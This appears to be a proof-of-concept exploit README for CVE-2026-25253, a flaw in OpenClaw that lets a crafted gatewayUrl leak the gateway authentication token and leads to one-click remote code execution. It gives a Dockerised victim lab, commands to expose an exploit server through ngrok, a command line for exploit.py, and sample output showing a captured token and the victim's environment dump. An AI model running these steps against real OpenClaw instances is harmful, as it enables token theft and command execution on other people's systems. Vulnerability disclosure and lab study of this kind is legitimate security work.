
OpenClaw Authentication Token Exfiltration
★ CVE-2026-25253 OpenClaw 1-Click Remote Code Execution PoC ★
https://github.com/user-attachments/assets/e6957c61-7549-4e68-831e-a05436504a3e
CVE-2026-25253 : OpenClaw Authentication Token Exfiltration Vulnerability
description: OpenClaw (aka clawdbot or Moltbot) before v2026.1.29 allows attackers to exfiltrate a stored gateway authentication token by supplying a crafted gatewayUrl query-string value to the Control UI, which automatically establishes a WebSocket connection without validation or user confirmation. This can lead to unauthorized gateway access and 1-click remote code execution.
Dockerfile — build the OpenClaw vulnerable environmenttemplates/ — malicious web pages used by the exploitconfig.txt — OpenClaw configuration used in the victim environmentexploit.py — exploit serverrequirements.txt — PoC dependenciesdocker build -t openclaw-vuln .
docker run -d --name openclaw-vuln -p 127.0.0.1:2222:22 openclaw-vuln
ssh-keygen -R [127.0.0.1]:2222
ssh -N -L 18789:127.0.0.1:18789 -p 2222 [email protected]
http://127.0.0.1:18789/
d4b7c7689b82981ff86c735a9f8f616b310491b0d334659a1491c55a13353e66config.txtpip3 install -r requirements.txt
wget https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz
tar xzf ngrok-v3-stable-linux-amd64.tgz
./ngrok authtoken YOUR_TOKEN
./ngrok http 13337
python3 exploit.py --host YOUR_NGROK_HOSTNAME --command "env"
Example:
python3 exploit.py --host abcd-1234.ngrok-free.app --command "env"
[*] Exploit Server running on: abcd-1234.ngrok-free.app:13337
[*] Gateway token captured: d4b7c7689b82981ff86c735a9f8f616b310491b0d334659a1491c55a13353e66
==================================================
[!] EXPLOIT RESULT CAPTURED [!]
==================================================
HOSTNAME=openclaw-vuln
PWD=/root
HOME=/root
...
==================================================
We publish CVE and malware analysis once a month. If you're interested, please follow the links below to check out our publications.